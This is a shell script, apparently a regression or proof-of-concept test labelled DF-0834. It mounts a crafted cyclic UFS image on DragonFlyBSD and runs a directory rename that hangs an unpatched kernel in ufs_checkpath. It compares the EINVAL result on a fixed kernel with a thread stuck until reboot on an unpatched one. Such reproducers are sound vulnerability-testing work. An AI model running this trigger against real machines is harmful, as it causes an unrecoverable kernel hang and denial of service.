#!/bin/sh
# DF-0834 run.sh — mount the crafted cyclic UFS image and rename a directory
# into the cyclic parent, triggering ufs_checkpath()'s unbounded `..` walk.
#
# Run as root on the DragonFlyBSD guest. df0834.img and run.sh must be in
# the same directory. UFS is the kernel's native root fs (always available;
# no kldload needed).
#
# Expected:
#   UNPATCHED kernel (#0): the rename hangs forever in ufs_checkpath
#     (kernel thread spins at ~100% CPU, SIGKILL-proof, holding the dir vnode).
#     The "MV_EXIT=124" line appears after the 8s timeout; a stuck `mv`
#     process remains; the vnode is pinned until reboot.
#   FIXED kernel: rename returns EINVAL promptly ("Invalid argument",
#     MV_EXIT=1, elapsed=0s, no stuck process).
set -e
cd "$(dirname "$0")"
IMG=df0834.img
MNT=/mnt/df0834

[ -f "$IMG" ] || { echo "ERROR: $IMG not found; run craft_image.sh first"; exit 2; }

VNDEV=$(vnconfig -c vn "$IMG" 2>&1 | awk '{print $1}' | head -1)
[ -n "$VNDEV" ] || { echo "vnconfig failed"; exit 3; }
echo "vn device: $VNDEV"
DEV="/dev/$VNDEV"

mkdir -p "$MNT"
mount -t ufs "$DEV" "$MNT"
echo "=== mounted $DEV at $MNT ==="
ls -li "$MNT"
chmod -R 777 "$MNT" 2>/dev/null || true

echo "=== rename trigger: mv S A/S_moved ==="
cd "$MNT"
t0=$(date +%s)
timeout 8 mv S A/S_moved; MV_RC=$?
t1=$(date +%s)
echo "MV_EXIT=$MV_RC elapsed=$((t1-t0))s  (124=HANG unpatched, 1=EINVAL fixed)"
cd /

echo "=== checking for stuck kernel thread ==="
ps auxl 2>/dev/null | grep '[m]v S' | head -1 || echo "(no stuck mv process)"

# NOTE: on the unpatched kernel the rename thread is now spinning forever in
# ufs_checkpath holding the dir vnode, so umount/vnconfig -u would block.
# The guest must be reset to recover (the orchestrator does vm.sh reset).
# On the fixed kernel the rename returned EINVAL, so cleanup is safe.
if [ "$MV_RC" != "124" ]; then
    umount -f "$MNT" 2>/dev/null || true
    vnconfig -u "$VNDEV" 2>/dev/null || true
else
    echo "(stuck thread holds vnode; guest will be reset — no cleanup attempted)"
fi

echo "=== DF-0834 RUN DONE (MV_EXIT=$MV_RC) ==="
